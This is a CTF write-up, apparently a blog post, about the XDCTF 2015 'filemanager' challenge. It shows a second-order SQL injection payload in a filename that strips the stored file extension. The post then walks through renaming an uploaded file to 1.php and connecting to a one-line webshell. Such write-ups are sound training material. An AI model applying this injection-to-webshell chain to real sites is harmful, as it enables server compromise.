[XDCTF 2015]filemanager
/www.tar.gz
拿到源码
我直接在github上看了https://github.com/CTFTraining/xdctf_2015_filemanager
common.inc.php将传入的所有参数使用addslashes转义函数
然后分析upload.php
使用basename
函数确保文件名中没有目录路径,防止路径遍历攻击。
使用了pathinfo函数,生成包含四部分的数组储存在$path_parts
<?php
$path_parts = pathinfo('/www/htdocs/inc/lib.inc.php');
echo $path_parts['dirname'], "\n";
echo $path_parts['basename'], "\n";
echo $path_parts['extension'], "\n";
echo $path_parts['filename'], "\n";
?>
array("gif", "jpg", "png", "zip", "txt")
使用了白名单,导致无法上传恶意文件
数据库查询之前也用了addslashes转义函数,但是只转义了pathinfo里的filename部分
接着分析rename.php
这里将第一次查询的filename再次传进数据库造成二次注入,我们可以将extension置空
我们把sql语句都拿出来分析
upload:
"insert into
file(
filename,
view,
extension) values( '{$path_parts['filename']}', 0, '{$path_parts['extension']}')"
转义了{$path_parts['filename']
rename:
$result = $db->query("select * from file where filename='{$req['oldname']}'");
"update
fileset
filename='{$req['newname']}',
oldname='{$result['filename']}' where
fid={$result['fid']}");
无转义
我们上传文件的文件名为,
extension='',
filename=1.jpg.jpg
可以看到重复赋值也是可以的
可以看到更新的数据是第二次的值,第二次的值把第一次的值重置了
upload.php我们传入名为`,`extension`='',`filename`=1.jpg.jpg`的文件名
insert into `file` ( `filename`, `view`, `extension`) values( '\',`extension`=\'\',`filename`=1.jpg', 0, 'jpg')
#至此我们传入了一个名为 ',`extension`='',`filename`=1.jpg.jpg的文件,后缀名为jpg
rename.php我们传入oldname=`,`extension`='',`filename`=1.jpg`&newname=1.jpg
$result = select * from `file` where `filename`='',`extension`='',`filename`=1.jpg.jpg'
update `file` set `filename`='1.jpg', `oldname`='',`extension`='',`filename`=1.jpg' where `fid`={$result['fid']}"
这时我们数据库里的一行数据就是`filename`=1.jpg', `oldname`='',`extension`='',而上传的文件更名为了1.jpg.jpg
此时我们再次上传1.jpg,数据库中检索的是`filename`=1.jpg', `oldname`='',`extension`='',这条数据,我们此时就成功把文件的后缀去掉了
此时可以给文件任意改名而不会添加后缀了
具体操作:
rename
sql语句变为"update
fileset
filename='1.jpg',
oldname='',extension='',filename=1.jpg' where
fid={$result['fid']}");
此时就有个1.jpg.jpg
的文件,而数据库里有行filename=1.jpg, extension=''
的数据
上传一个木马文件1.jpg
该名为1.php
然后连接一句话木马
标签:XDCTF,extension,filemanager,jpg,filename,oldname,fid,2015,result From: https://www.cnblogs.com/m1xian/p/18280381